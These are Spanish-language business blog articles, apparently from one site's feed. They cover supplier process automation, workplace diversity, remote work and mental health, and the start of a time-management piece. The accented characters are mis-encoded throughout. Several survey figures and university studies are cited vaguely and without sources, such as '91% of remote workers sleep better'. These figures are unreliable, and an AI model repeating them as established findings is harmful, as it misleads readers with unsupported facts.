Tambi茅n es importante considerar la facilidad de uso y la experiencia del usuario. Una soluci贸n intuitiva y f谩cil de usar facilitar谩 la adopci贸n por parte de los empleados y minimizar谩 el tiempo necesario para capacitarlos en su uso. Adem谩s, es importante considerar el soporte t茅cnico y el servicio al cliente ofrecido por el proveedor de la soluci贸n.

Las claves para una implementaci贸n exitosa de la automatizaci贸n de procesos de proveedores.

Una implementaci贸n exitosa de la automatizaci贸n de procesos de proveedores requiere una planificaci贸n cuidadosa y una gesti贸n eficiente del cambio. En primer lugar, es importante definir claramente los objetivos y las expectativas de la implementaci贸n. 驴Qu茅 se espera lograr con la automatizaci贸n de procesos de proveedores? 驴Cu谩les son los indicadores clave de rendimiento que se utilizar谩n para evaluar el 茅xito?

Adem谩s, es importante involucrar a todas las partes interesadas en el proceso de implementaci贸n. Esto incluye a los empleados, los proveedores y otros departamentos o 谩reas de la empresa que se ver谩n afectados por la automatizaci贸n de procesos de proveedores. La comunicaci贸n clara y efectiva es clave para garantizar una transici贸n suave y minimizar la resistencia al cambio.

Tambi茅n es importante capacitar adecuadamente a los empleados en el uso de la soluci贸n de automatizaci贸n de procesos de proveedores. Esto incluye proporcionar capacitaci贸n inicial, as铆 como soporte continuo y recursos para resolver cualquier problema o duda que puedan surgir.

Los beneficios de la integraci贸n de la automatizaci贸n de procesos de proveedores con otros sistemas empresariales.

La integraci贸n de la automatizaci贸n de procesos de proveedores con otros sistemas empresariales puede traer beneficios adicionales. Por ejemplo, al integrar la soluci贸n con el sistema ERP (Enterprise Resource Planning) de la empresa, se puede lograr una mayor visibilidad y control sobre las operaciones relacionadas con los proveedores.

Adem谩s, la integraci贸n con otros sistemas empresariales puede permitir una mayor automatizaci贸n y eficiencia en toda la cadena de suministro. Por ejemplo, al integrar la soluci贸n de automatizaci贸n de procesos de proveedores con el sistema de gesti贸n de inventario de la empresa, se puede lograr una mayor precisi贸n en la gesti贸n de inventario y una reducci贸n de los costos asociados con el exceso o la falta de inventario.

La integraci贸n tambi茅n puede facilitar la colaboraci贸n y la comunicaci贸n con los proveedores. Por ejemplo, al integrar la soluci贸n con herramientas de colaboraci贸n en l铆nea, como plataformas de mensajer铆a instant谩nea o sistemas de gesti贸n de proyectos, se puede agilizar la comunicaci贸n y mejorar la colaboraci贸n con los proveedores.

C贸mo la automatizaci贸n de procesos de proveedores puede mejorar la calidad de los productos y servicios.

La automatizaci贸n de procesos de proveedores puede tener un impacto significativo en la calidad de los productos y servicios ofrecidos por una empresa. Al agilizar los procesos relacionados con los proveedores, se reducen los errores y retrasos, lo que puede llevar a una mejora en la calidad final del producto o servicio.

Adem谩s, al automatizar los procesos relacionados con el control de calidad y la gesti贸n de reclamaciones, se pueden identificar y resolver problemas m谩s r谩pidamente. Esto permite a las empresas tomar medidas correctivas r谩pidas y garantizar que los productos o servicios cumplan con los est谩ndares de calidad establecidos.

La automatizaci贸n tambi茅n puede mejorar la trazabilidad y la transparencia en toda la cadena de suministro. Al tener un mayor control sobre los procesos relacionados con los proveedores, las empresas pueden rastrear y verificar el origen y la calidad de los materiales utilizados en sus productos o servicios.

驴C贸mo la automatizaci贸n de procesos de proveedores puede ayudar a tu empresa a cumplir con las normativas y regulaciones?

La automatizaci贸n de procesos de proveedores puede ayudar a las empresas a cumplir con las normativas y regulaciones aplicables a su industria. Al automatizar los procesos relacionados con los proveedores, se pueden establecer controles y procedimientos para garantizar el cumplimiento de las normativas y regulaciones.

Por ejemplo, al automatizar los procesos de gesti贸n de proveedores, se pueden establecer controles para verificar la idoneidad y la capacidad de los proveedores para cumplir con los requisitos legales y regulatorios. Esto puede incluir la verificaci贸n de certificaciones, licencias y otros documentos legales.

Adem谩s, al automatizar los procesos de gesti贸n de contratos y acuerdos con los proveedores, se pueden establecer controles para garantizar el cumplimiento de los t茅rminos y condiciones contractuales. Esto puede incluir la gesti贸n de fechas de vencimiento, renovaciones autom谩ticas y notificaciones de incumplimiento.

La automatizaci贸n tambi茅n puede facilitar la generaci贸n de informes y la auditor铆a interna. Al tener un mayor control sobre los procesos relacionados con los proveedores, las empresas pueden generar informes precisos y actualizados sobre el cumplimiento de las normativas y regulaciones.

La importancia de la seguridad y privacidad de los datos en la automatizaci贸n de procesos de proveedores.

La seguridad y privacidad de los datos son aspectos cr铆ticos en la automatizaci贸n de procesos de proveedores. Al automatizar estos procesos, se manejan grandes cantidades de datos confidenciales, como informaci贸n financiera, datos personales y detalles comerciales.

Es importante implementar medidas adecuadas para proteger estos datos contra accesos no autorizados, p茅rdida o robo. Esto incluye el uso de medidas de seguridad f铆sica y l贸gica, como firewalls, cifrado de datos y autenticaci贸n de usuarios.

Adem谩s, es importante establecer pol铆ticas y procedimientos claros para el manejo de datos confidenciales. Esto incluye la capacitaci贸n de los empleados en las mejores pr谩cticas de seguridad de la informaci贸n y la implementaci贸n de controles para garantizar el cumplimiento de las pol铆ticas establecidas.

Tambi茅n es importante asegurarse de que los proveedores de la soluci贸n de automatizaci贸n de procesos de proveedores cumplan con los est谩ndares y regulaciones aplicables en materia de seguridad y privacidad de datos. Esto puede incluir la realizaci贸n de auditor铆as y evaluaciones peri贸dicas para garantizar el cumplimiento.

驴C贸mo la automatizaci贸n de procesos de proveedores puede ayudar a tu empresa a ser m谩s sostenible y responsable socialmente?

La automatizaci贸n de procesos de proveedores puede contribuir a la sostenibilidad y responsabilidad social de una empresa. Al agilizar los procesos relacionados con los proveedores, se reducen los residuos y se optimiza el uso de recursos, lo que puede tener un impacto positivo en el medio ambiente.

Por ejemplo, al automatizar los procesos de gesti贸n de pedidos, se pueden reducir los errores y retrasos en la entrega, lo que a su vez reduce la necesidad de env铆os urgentes o adicionales. Esto puede ayudar a reducir las emisiones de carbono asociadas con el transporte.

Adem谩s, al automatizar los procesos relacionados con la gesti贸n de inventario, se puede reducir el exceso o la falta de inventario, lo que a su vez reduce el desperdicio de recursos y materiales. Esto puede tener un impacto positivo en la eficiencia operativa y en la rentabilidad de la empresa.

La automatizaci贸n tambi茅n puede facilitar la colaboraci贸n y la comunicaci贸n con los proveedores, lo que puede ayudar a establecer relaciones m谩s s贸lidas y a largo plazo. Esto puede tener un impacto positivo en la responsabilidad social de la empresa al promover pr谩cticas comerciales 茅ticas y sostenibles.

Conclusi贸n

La automatizaci贸n de procesos de proveedores es una herramienta clave en el mundo empresarial actual. Permite a las empresas agilizar sus operaciones, reducir costos, mejorar la calidad de los productos y servicios, cumplir con las normativas y regulaciones, garantizar la seguridad y privacidad de los datos, y contribuir a la sostenibilidad y responsabilidad social.

Al elegir una soluci贸n de automatizaci贸n de procesos de proveedores, es importante considerar las necesidades espec铆ficas de tu empresa, la escalabilidad de la soluci贸n, la facilidad de uso y la experiencia del usuario, y el soporte t茅cnico ofrecido por el proveedor.

Una implementaci贸n exitosa de la automatizaci贸n de procesos de proveedores requiere una planificaci贸n cuidadosa, una gesti贸n eficiente del cambio y una capacitaci贸n adecuada de los empleados. Adem谩s, es importante considerar la integraci贸n con otros sistemas empresariales para maximizar los benef icios de la automatizaci贸n. Esto implica asegurarse de que el sistema de automatizaci贸n de proveedores pueda comunicarse y compartir datos de manera efectiva con otros sistemas, como el sistema de gesti贸n de inventario o el sistema de contabilidad. La integraci贸n adecuada garantiza una mayor eficiencia y precisi贸n en los procesos empresariales, al tiempo que reduce la duplicaci贸n de tareas y los errores humanos. Adem谩s, la integraci贸n tambi茅n permite una mejor visibilidad y seguimiento de los datos en tiempo real, lo que facilita la toma de decisiones informadas y oportunas. En resumen, la integraci贸n con otros sistemas empresariales es un componente clave para maximizar los beneficios de la automatizaci贸n de procesos de proveedores.
Si est谩s buscando mejorar la eficiencia de tus procesos de proveedores, te recomendamos leer nuestro art铆culo sobre Automatizaci贸n de Procesos de Proveedores. En este art铆culo, exploramos c贸mo la automatizaci贸n puede ayudarte a agilizar y optimizar tus operaciones con proveedores, ahorrando tiempo y recursos. Descubre c贸mo implementar soluciones tecnol贸gicas para simplificar la gesti贸n de pedidos, facturaci贸n y pagos, y mejorar la comunicaci贸n con tus proveedores. 隆No te lo pierdas! Leer m谩s

El papel de la diversidad en el 茅xito del trabajo en equipo

Introducci贸n

La diversidad en el lugar de trabajo es un tema cada vez m谩s relevante en el mundo empresarial actual. La diversidad se refiere a la variedad de caracter铆sticas y perspectivas que existen entre los miembros de un equipo o una organizaci贸n. Estas caracter铆sticas pueden incluir diferencias culturales, de g茅nero, de edad, de habilidades y muchas otras. La diversidad en el trabajo en equipo es esencial para fomentar la creatividad, la innovaci贸n, la comunicaci贸n efectiva, la resoluci贸n de conflictos, la toma de decisiones s贸lidas, la adaptaci贸n al cambio, la inclusi贸n y la equidad, el aprendizaje y el desarrollo personal y profesional, y el rendimiento y la competitividad del equipo. En este art铆culo, exploraremos en detalle cada uno de estos aspectos y proporcionaremos ejemplos de empresas exitosas que priorizan la diversidad en sus estrategias y cultura.

驴Qu茅 es la diversidad en el trabajo en equipo?

La diversidad en el trabajo en equipo se refiere a la inclusi贸n de personas con diferentes caracter铆sticas y perspectivas en un equipo. Estas caracter铆sticas pueden incluir diferencias culturales, de g茅nero, de edad, de habilidades y muchas otras. La diversidad en el equipo es importante porque cada miembro aporta una perspectiva 煤nica basada en su experiencia y antecedentes. Esto puede conducir a una mayor creatividad, innovaci贸n y resoluci贸n de problemas, ya que diferentes personas pueden tener diferentes enfoques y soluciones para los desaf铆os que enfrenta el equipo.

Existen diferentes tipos de diversidad en el trabajo en equipo. La diversidad cultural se refiere a la inclusi贸n de personas de diferentes culturas y or铆genes 茅tnicos en un equipo. La diversidad de g茅nero se refiere a la inclusi贸n de personas de diferentes g茅neros en un equipo. La diversidad de edad se refiere a la inclusi贸n de personas de diferentes edades en un equipo. La diversidad de habilidades se refiere a la inclusi贸n de personas con diferentes habilidades y conocimientos en un equipo. Estos son solo algunos ejemplos de los diferentes tipos de diversidad que pueden existir en un equipo, y cada uno de ellos puede aportar beneficios 煤nicos al equipo.

La importancia de la diversidad en la creatividad y la innovaci贸n

La diversidad en el trabajo en equipo es fundamental para fomentar la creatividad y la innovaci贸n. Cuando un equipo est谩 compuesto por personas con diferentes antecedentes y perspectivas, se generan nuevas ideas y enfoques. Cada miembro del equipo puede aportar su experiencia y conocimientos 煤nicos, lo que puede llevar a soluciones innovadoras y creativas para los desaf铆os que enfrenta el equipo.

Existen numerosos ejemplos de empresas exitosas que priorizan la diversidad en sus estrategias de innovaci贸n. Por ejemplo, Google es conocido por su enfoque en la diversidad y la inclusi贸n en su fuerza laboral. La empresa ha implementado programas para fomentar la diversidad en sus equipos de ingenier铆a, y ha visto resultados positivos en t茅rminos de creatividad e innovaci贸n. Otro ejemplo es la empresa de tecnolog铆a Salesforce, que ha establecido metas espec铆ficas para aumentar la diversidad en su fuerza laboral y ha creado programas de mentor铆a y desarrollo profesional para apoyar a los empleados diversos. Estas empresas han demostrado que la diversidad puede ser un impulsor clave de la creatividad y la innovaci贸n en el lugar de trabajo.

驴C贸mo la diversidad afecta la comunicaci贸n y la colaboraci贸n en el equipo?

La diversidad en el trabajo en equipo puede tener un impacto significativo en la comunicaci贸n y la colaboraci贸n. Cuando un equipo est谩 compuesto por personas con diferentes antecedentes y perspectivas, puede haber diferencias en la forma en que se comunican y colaboran. Estas diferencias pueden ser una fuente de conflicto o pueden ser una oportunidad para aprender y crecer.

Para mejorar la comunicaci贸n y la colaboraci贸n en equipos diversos, es importante fomentar un ambiente de respeto y apertura. Esto significa escuchar activamente las ideas y perspectivas de los dem谩s, y estar dispuesto a considerar diferentes puntos de vista. Tambi茅n es importante establecer normas claras de comunicaci贸n y colaboraci贸n, y proporcionar oportunidades para que los miembros del equipo se conozcan y construyan relaciones s贸lidas.

La diversidad como herramienta para la resoluci贸n de conflictos en el equipo

La diversidad en el trabajo en equipo puede ser una herramienta poderosa para la resoluci贸n de conflictos. Cuando un equipo est谩 compuesto por personas con diferentes antecedentes y perspectivas, puede haber una variedad de enfoques para abordar los conflictos. Esto puede ayudar al equipo a considerar diferentes soluciones y encontrar la mejor manera de resolver los problemas.

Un ejemplo de una empresa que ha utilizado la diversidad para resolver conflictos de manera efectiva es Microsoft. La empresa ha implementado programas de diversidad e inclusi贸n en su fuerza laboral, y ha visto resultados positivos en t茅rminos de resoluci贸n de conflictos. Los empleados de Microsoft han informado que la diversidad en el equipo ha llevado a una mayor comprensi贸n y empat铆a entre los miembros del equipo, lo que ha facilitado la resoluci贸n de conflictos de manera constructiva.

驴C贸mo la diversidad enriquece la toma de decisiones en el equipo?

La diversidad en el trabajo en equipo puede enriquecer la toma de decisiones. Cuando un equipo est谩 compuesto por personas con diferentes antecedentes y perspectivas, se pueden considerar una variedad de puntos de vista al tomar decisiones. Esto puede ayudar al equipo a tomar decisiones m谩s s贸lidas y fundamentadas.

Un ejemplo de una empresa que ha utilizado la diversidad para mejorar la toma de decisiones es Procter & Gamble. La empresa ha implementado programas de diversidad e inclusi贸n en su fuerza laboral, y ha visto resultados positivos en t茅rminos de toma de decisiones. Los empleados de Procter & Gamble han informado que la diversidad en el equipo ha llevado a una mayor consideraci贸n de diferentes perspectivas al tomar decisiones, lo que ha llevado a decisiones m谩s s贸lidas y fundamentadas.

La diversidad como factor clave en la adaptaci贸n al cambio en el equipo

La diversidad en el trabajo en equipo puede ser un factor clave en la adaptaci贸n al cambio en el lugar de trabajo. Cuando un equipo est谩 compuesto por personas con diferentes antecedentes y perspectivas, puede haber una mayor capacidad para adaptarse a los cambios en el entorno laboral.

Un ejemplo de una empresa que ha utilizado la diversidad para adaptarse al cambio es Amazon. La empresa ha implementado programas de diversidad e inclusi贸n en su fuerza laboral, y ha visto resultados positivos en t茅rminos de adaptaci贸n al cambio. Los empleados de Amazon han informado que la diversidad en el equipo ha llevado a una mayor flexibilidad y capacidad de adaptaci贸n, lo que ha ayudado a la empresa a mantenerse competitiva en un entorno empresarial en constante cambio.

驴C贸mo la inclusi贸n y la equidad favorecen la diversidad en el equipo?

La inclusi贸n y la equidad son fundamentales para fomentar la diversidad en el lugar de trabajo. La inclusi贸n se refiere a la creaci贸n de un ambiente en el que todas las personas se sientan valoradas y respetadas, independientemente de sus diferencias. La equidad se refiere a la igualdad de oportunidades y trato justo para todas las personas, independientemente de sus diferencias.

Para fomentar la inclusi贸n y la equidad en un equipo, es importante crear un ambiente en el que todas las voces sean escuchadas y valoradas. Esto significa proporcionar oportunidades para que todos los miembros del equipo participen y contribuyan, y asegurarse de que todas las decisiones y acciones sean justas y equitativas. Tambi茅n es importante proporcionar capacitaci贸n y desarrollo profesional para apoyar a los empleados diversos y garantizar que tengan las mismas oportunidades de crecimiento y 茅xito que sus colegas.

La diversidad como oportunidad para el aprendizaje y el desarrollo personal y profesional

La diversidad en el trabajo en equipo puede ser una oportunidad para el aprendizaje y el desarrollo personal y profesional. Cuando un equipo est谩 compuesto por personas con diferentes antecedentes y perspectivas, se pueden aprender nuevas ideas y enfoques. Esto puede ayudar a los miembros del equipo a expandir sus conocimientos y habilidades, y a crecer tanto personal como profesionalmente.

Un ejemplo de una empresa que ha utilizado la diversidad para fomentar el aprendizaje y el desarrollo es IBM. La empresa ha implementado programas de diversidad e inclusi贸n en su fuerza laboral, y ha visto resultados positivos en t茅rminos de aprendizaje y desarrollo. Los empleados de IBM han informado que la diversidad en el equipo ha llevado a una mayor exposici贸n a diferentes ideas y perspectivas, lo que ha enriquecido su aprendizaje y desarrollo personal y profesional.

驴C贸mo la diversidad mejora la competitividad y el rendimiento del equipo?

La diversidad en el trabajo en equipo puede mejorar la competitividad y el rendimiento del equipo. Cuando un equipo est谩 compuesto por personas con diferentes antecedentes y perspectivas, se pueden considerar una variedad de enfoques y soluciones para los desaf铆os que enfrenta el equipo. Esto puede ayudar al equipo a ser m谩s innovador, creativo y eficiente, lo que puede mejorar su competitividad y rendimiento.

Un ejemplo de un equipo exitoso que prioriza la diversidad es el equipo de f煤tbol de la selecci贸n nacional de Francia. El equipo est谩 compuesto por jugadores de diferentes or铆genes 茅tnicos y culturales, y ha logrado un gran 茅xito en los 煤ltimos a帽os. Los jugadores han atribuido su 茅xito a la diversidad en el equipo, ya que cada jugador aporta su experiencia y habilidades 煤nicas al equipo.

La diversidad como valor fundamental en la cultura organizacional

La diversidad puede ser un valor fundamental en la cultura organizacional. Cuando una empresa valora y prioriza la diversidad, crea un ambiente en el que todas las personas se sientan valoradas y respetadas, independientemente de sus diferencias. Esto puede ayudar a atraer y retener a empleados diversos, y a fomentar un ambiente de trabajo inclusivo y equitativo.

Un ejemplo de una empresa que prioriza la diversidad en su cultura organizacional es Apple. La empresa ha implementado programas de diversidad e inclusi贸n en su fuerza laboral, y ha visto resultados positivos en t茅rminos de cultura organizacional. Los empleados de Apple han informado que la diversidad en la empresa ha llevado a un ambiente de trabajo inclusivo y equitativo, en el que todas las voces son valoradas y respetadas.

Conclusi贸n

En resumen, la diversidad en el lugar de trabajo es esencial para fomentar la creatividad, la innovaci贸n, la comunicaci贸n efectiva, la resoluci贸n de conflictos, la toma de decisiones s贸lidas, la adaptaci贸n al cambio, la inclusi贸n y la equidad, el aprendizaje y el desarrollo personal y profesional, y el rendimiento y la competitividad del equipo. Las empresas exitosas han demostrado que la diversidad puede ser un impulsor clave de estos aspectos en el lugar de trabajo. Por lo tanto, es importante que las empresas prioricen la diversidad en sus equipos y cultura, y tomen medidas para fomentar un ambiente de trabajo inclusivo y equitativo. Al hacerlo, las empresas pueden aprovechar los beneficios de la diversidad y lograr un mayor 茅xito en el mundo empresarial actual.
隆Descubre c贸mo mejorar el trabajo en equipo en tu empresa! En este art铆culo, aprender谩s estrategias efectivas para fomentar la colaboraci贸n y la comunicaci贸n entre los miembros de tu equipo. El trabajo en equipo es fundamental para el 茅xito de cualquier organizaci贸n, y en este art铆culo encontrar谩s consejos pr谩cticos y herramientas 煤tiles para fortalecer esta habilidad clave. 隆No te lo pierdas! Leer m谩s

Los beneficios del trabajo remoto para la salud mental

Introducci贸n

El trabajo remoto, tambi茅n conocido como teletrabajo, se ha vuelto cada vez m谩s popular en los 煤ltimos a帽os. Con los avances tecnol贸gicos y la creciente demanda de flexibilidad laboral, muchas empresas est谩n adoptando esta modalidad de trabajo. El trabajo remoto permite a los empleados realizar sus tareas desde cualquier lugar, ya sea desde su hogar, una cafeter铆a o incluso mientras viajan. A medida que esta forma de trabajo se vuelve m谩s com煤n, es importante discutir su impacto en la salud mental de las personas.

La salud mental es un tema que ha ganado relevancia en los 煤ltimos a帽os, ya que cada vez m谩s personas reconocen la importancia de cuidar su bienestar emocional. El trabajo remoto puede tener tanto efectos positivos como negativos en la salud mental de las personas, por lo que es fundamental analizar c贸mo esta modalidad de trabajo puede afectarnos y qu茅 medidas podemos tomar para mantener una buena salud mental mientras trabajamos de forma remota.

驴Qu茅 es el trabajo remoto y c贸mo afecta a nuestra salud mental?

El trabajo remoto se refiere a la posibilidad de realizar nuestras tareas laborales desde cualquier lugar, utilizando herramientas tecnol贸gicas para comunicarnos y colaborar con nuestros compa帽eros de trabajo. En lugar de tener que desplazarnos a una oficina f铆sica, podemos trabajar desde la comodidad de nuestro hogar o cualquier otro lugar que elijamos.

Si bien el trabajo remoto puede tener muchas ventajas, tambi茅n puede afectar nuestra salud mental de diversas maneras. Uno de los principales desaf铆os del trabajo remoto es la sensaci贸n de aislamiento. Al no tener compa帽eros de trabajo f铆sicamente presentes, podemos sentirnos solos y desconectados. Adem谩s, la falta de una estructura clara puede llevar a una falta de l铆mites entre el trabajo y la vida personal, lo que puede generar estr茅s y ansiedad.

La libertad de trabajar desde cualquier lugar: un beneficio para la salud mental

A pesar de los desaf铆os mencionados anteriormente, el trabajo remoto tambi茅n tiene muchos beneficios para la salud mental. Una de las principales ventajas es la libertad de trabajar desde cualquier lugar. Esto significa que no estamos limitados a una oficina y podemos elegir el entorno que nos resulte m谩s c贸modo y productivo. Algunas personas pueden preferir trabajar desde su hogar, mientras que otras pueden optar por trabajar desde una cafeter铆a o incluso mientras viajan. Esta flexibilidad puede reducir el estr茅s y aumentar la autonom铆a, lo que a su vez mejora nuestra salud mental.

Adem谩s, el trabajo remoto puede permitirnos tener un mejor equilibrio entre nuestra vida laboral y personal. Al no tener que desplazarnos a una oficina, podemos ahorrar tiempo y energ铆a, lo que nos permite dedicar m谩s tiempo a nuestras actividades personales y familiares. Esto puede reducir el estr茅s y mejorar nuestra calidad de vida en general.

驴C贸mo el trabajo remoto puede reducir el estr茅s y la ansiedad?

El trabajo remoto puede reducir el estr茅s y la ansiedad de varias maneras. En primer lugar, elimina la necesidad de desplazarse diariamente al trabajo. El tiempo y la energ铆a que antes se gastaban en el tr谩fico o en el transporte p煤blico ahora se pueden utilizar de manera m谩s productiva o para descansar y relajarse. Adem谩s, el trabajo remoto nos brinda m谩s control sobre nuestro entorno de trabajo. Podemos crear un espacio tranquilo y c贸modo en nuestro hogar o elegir trabajar desde un lugar que nos inspire y nos haga sentir bien. Esto puede reducir el estr茅s y la ansiedad relacionados con un entorno de trabajo poco saludable o inc贸modo.

Varios estudios respaldan la idea de que el trabajo remoto puede reducir el estr茅s y la ansiedad. Seg煤n una encuesta realizada por la empresa de investigaci贸n de mercado Gallup, los empleados que trabajan de forma remota experimentan menos estr茅s y tienen una mayor satisfacci贸n laboral en comparaci贸n con aquellos que trabajan en una oficina tradicional. Otro estudio realizado por la Universidad de Stanford encontr贸 que los empleados que trabajan de forma remota tienen niveles m谩s bajos de estr茅s y una mejor salud mental en general.

La importancia del equilibrio entre vida laboral y personal en el trabajo remoto

El equilibrio entre vida laboral y personal es fundamental para mantener una buena salud mental, especialmente cuando se trabaja de forma remota. Sin una estructura clara y l铆mites definidos, es f谩cil caer en la trampa de trabajar constantemente y no encontrar tiempo para descansar y disfrutar de nuestras actividades personales.

Es importante establecer horarios de trabajo claros y respetarlos. Esto significa definir cu谩ndo comenzamos y terminamos nuestra jornada laboral y asegurarnos de no mezclar el trabajo con nuestra vida personal. Tambi茅n es importante establecer l铆mites con nuestros compa帽eros de trabajo y clientes, dejando en claro cu谩ndo estamos disponibles y cu谩ndo no.

Adem谩s, es fundamental dedicar tiempo a nuestras actividades personales y familiares. Esto puede incluir hacer ejercicio, pasar tiempo con nuestros seres queridos, practicar hobbies o simplemente relajarse. Al establecer un equilibrio entre nuestra vida laboral y personal, podemos reducir el estr茅s y mejorar nuestra salud mental.

驴C贸mo el trabajo remoto puede mejorar la calidad del sue帽o?

El trabajo remoto puede mejorar la calidad del sue帽o de varias maneras. En primer lugar, al eliminar la necesidad de desplazarse al trabajo, podemos tener horarios de sue帽o m谩s flexibles. Esto significa que podemos adaptar nuestros horarios de trabajo a nuestros ritmos circadianos naturales, lo que puede resultar en un sue帽o m谩s reparador.

Adem谩s, el trabajo remoto nos permite tener m谩s control sobre nuestro entorno de trabajo. Podemos crear un espacio tranquilo y c贸modo en nuestro hogar, lo que puede facilitar el sue帽o. Tambi茅n podemos evitar las distracciones y el ruido de una oficina tradicional, lo que puede mejorar la calidad del sue帽o.

Varios estudios respaldan la idea de que el trabajo remoto puede mejorar la calidad del sue帽o. Seg煤n una encuesta realizada por la empresa de investigaci贸n de mercado Owl Labs, el 91% de los empleados que trabajan de forma remota duermen mejor que aquellos que trabajan en una oficina tradicional. Otro estudio realizado por la Universidad de California encontr贸 que los empleados que trabajan de forma remota tienen una mayor calidad de sue帽o y menos problemas de insomnio en comparaci贸n con aquellos que trabajan en una oficina.

La flexibilidad del trabajo remoto: un beneficio para la salud mental de los padres

El trabajo remoto puede ser especialmente beneficioso para los padres, ya que les brinda la flexibilidad de pasar m谩s tiempo con sus hijos y reducir el estr茅s relacionado con el cuidado de los ni帽os. Al no tener que desplazarse a una oficina, los padres pueden estar m谩s presentes en la vida de sus hijos y participar en actividades familiares. Esto puede fortalecer los lazos familiares y mejorar la salud mental tanto de los padres como de los hijos.

Adem谩s, el trabajo remoto puede reducir el estr茅s relacionado con el cuidado de los ni帽os. Al no tener que preocuparse por encontrar cuidado infantil o lidiar con el tr谩fico para llegar a tiempo a casa, los padres pueden tener una mayor tranquilidad y disfrutar m谩s de su tiempo con sus hijos.

驴C贸mo el trabajo remoto puede reducir el s铆ndrome de agotamiento laboral?

El s铆ndrome de agotamiento laboral, tambi茅n conocido como burnout, es un problema com煤n en el mundo laboral actual. Se caracteriza por una sensaci贸n de agotamiento f铆sico y emocional, falta de motivaci贸n y disminuci贸n del rendimiento laboral. El trabajo remoto puede ayudar a reducir el s铆ndrome de agotamiento laboral de varias maneras.

En primer lugar, el trabajo remoto nos brinda m谩s control sobre nuestra carga de trabajo. Podemos establecer nuestros propios horarios y priorizar nuestras tareas de manera m谩s efectiva. Esto puede ayudarnos a evitar la sobrecarga de trabajo y el agotamiento.

Adem谩s, el trabajo remoto elimina muchas de las distracciones y el estr茅s relacionados con la oficina tradicional. No tenemos que lidiar con el ruido, las interrupciones constantes o las pol铆ticas de la oficina que pueden contribuir al agotamiento. En cambio, podemos crear un entorno de trabajo tranquilo y personalizado que nos ayude a mantenernos enfocados y motivados.

Varios estudios respaldan la idea de que el trabajo remoto puede reducir el s铆ndrome de agotamiento laboral. Seg煤n una encuesta realizada por la empresa de investigaci贸n de mercado FlexJobs, el 82% de los empleados que trabajan de forma remota informaron tener niveles m谩s bajos de agotamiento en comparaci贸n con aquellos que trabajan en una oficina tradicional. Otro estudio realizado por la Universidad de Stanford encontr贸 que los empleados que trabajan de forma remota tienen niveles m谩s bajos de agotamiento y una mayor satisfacci贸n laboral en comparaci贸n con aquellos que trabajan en una oficina.

La posibilidad de tener un ambiente de trabajo personalizado: un beneficio para la salud mental

Una de las ventajas del trabajo remoto es la posibilidad de tener un ambiente de trabajo personalizado. En lugar de tener que adaptarnos a un entorno de oficina est谩ndar, podemos crear un espacio de trabajo que se adapte a nuestras necesidades y preferencias. Esto puede incluir la elecci贸n de un escritorio c贸modo, una silla ergon贸mica y una decoraci贸n que nos inspire.

Al tener un ambiente de trabajo personalizado, podemos reducir las distracciones y aumentar nuestra productividad. Tambi茅n podemos crear un espacio que nos haga sentir bien y nos ayude a mantenernos motivados. Esto puede tener un impacto positivo en nuestra salud mental y bienestar en general.

驴C贸mo el trabajo remoto puede fomentar la creatividad y la motivaci贸n?

El trabajo remoto puede fomentar la creatividad y la motivaci贸n de varias maneras. En primer lugar, nos brinda m谩s libertad y autonom铆a para realizar nuestras tareas. No estamos limitados por las normas y pol铆ticas de una oficina tradicional, lo que nos permite explorar nuevas ideas y enfoques. Adem谩s, al tener un entorno de trabajo personalizado, podemos crear un espacio que nos inspire y estimule nuestra creatividad.

Adem谩s, el trabajo remoto nos permite evitar muchas de las distracciones y el ruido de una oficina tradicional. Podemos trabajar en un entorno tranquilo y libre de interrupciones, lo que nos ayuda a mantenernos enfocados y concentrados en nuestras tareas. Esto puede aumentar nuestra productividad y motivaci贸n.

Varios estudios respaldan la idea de que el trabajo remoto puede fomentar la creatividad y la motivaci贸n. Seg煤n una encuesta realizada por la empresa de investigaci贸n de mercado Owl Labs, el 80% de los empleados que trabajan de forma remota se sienten m谩s motivados en comparaci贸n con aquellos que trabajan en una oficina tradicional. Otro estudio realizado por la Universidad de California encontr贸 que los empleados que trabajan de forma remota tienen niveles m谩s altos de creatividad y satisfacci贸n laboral en comparaci贸n con aquellos que trabajan en una oficina.

Los desaf铆os del trabajo remoto y c贸mo superarlos para mantener una buena salud mental

Si bien el trabajo remoto tiene muchos beneficios para la salud mental, tambi茅n presenta desaf铆os que debemos superar para mantener un buen bienestar emocional. Uno de los principales desaf铆os es la sensaci贸n de aislamiento. Al no tener compa帽eros de trabajo f铆sicamente presentes, podemos sentirnos solos y desconectados. Para superar este desaf铆o, es importante mantener una comunicaci贸n regular con nuestros compa帽eros de trabajo a trav茅s de herramientas de comunicaci贸n en l铆nea. Tambi茅n podemos buscar oportunidades para socializar fuera del trabajo, como asistir a eventos o unirnos a grupos de inter茅s.

Otro desaf铆o del trabajo remoto es la falta de estructura. Sin una rutina clara, es f谩cil caer en la trampa de trabajar constantemente o no encontrar tiempo para descansar y disfrutar de nuestras actividades personales. Para superar este desaf铆o, es importante establecer horarios de trabajo claros y respetarlos. Tambi茅n podemos establecer l铆mites con nuestros compa帽eros de trabajo y clientes, dejando en claro cu谩ndo estamos disponibles y cu谩ndo no. Adem谩s, es fundamental dedicar tiempo a nuestras actividades personales y familiares para mantener un equilibrio saludable entre el trabajo y la vida personal.

Conclusi贸n

El trabajo remoto tiene un impacto significativo en nuestra salud mental. Si bien presenta desaf铆os, como la sensaci贸n de aislamiento y la falta de estructura, tambi茅n tiene muchos beneficios, como la reducci贸n del estr茅s y la ansiedad, la mejora del equilibrio entre vida laboral y personal, la calidad del sue帽o y la reducci贸n del s铆ndrome de agotamiento laboral. Es importante priorizar nuestra salud mental mientras trabajamos de forma remota, estableciendo l铆mites claros, manteniendo una comunicaci贸n regular con nuestros compa帽eros de trabajo y dedicando tiempo a nuestras actividades person ales y de autocuidado. Adem谩s, es fundamental buscar apoyo y recursos adicionales, como terapia o grupos de apoyo, si es necesario. En 煤ltima instancia, el trabajo remoto puede ser una oportunidad para mejorar nuestra salud mental si nos cuidamos adecuadamente y nos adaptamos a los desaf铆os que presenta.
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C贸mo administrar tu tiempo para ser m谩s productivo

Introducci贸n

La gesti贸n del tiempo es un aspecto fundamental en nuestras vidas diarias. El tiempo es un recurso limitado y valioso, por lo que es importante aprender a administrarlo de manera efectiva para poder aprovechar al m谩ximo cada d铆a. La gesti贸n del tiempo nos ayuda a ser m谩s productivos, reducir el estr茅s y lograr un equilibrio entre el trabajo y la vida personal. En este art铆culo, exploraremos la importancia de la gesti贸n del tiempo y proporcionaremos consejos y estrategias para ayudarte a administrar tu tiempo de manera eficiente.

驴Por qu茅 es importante administrar tu tiempo?

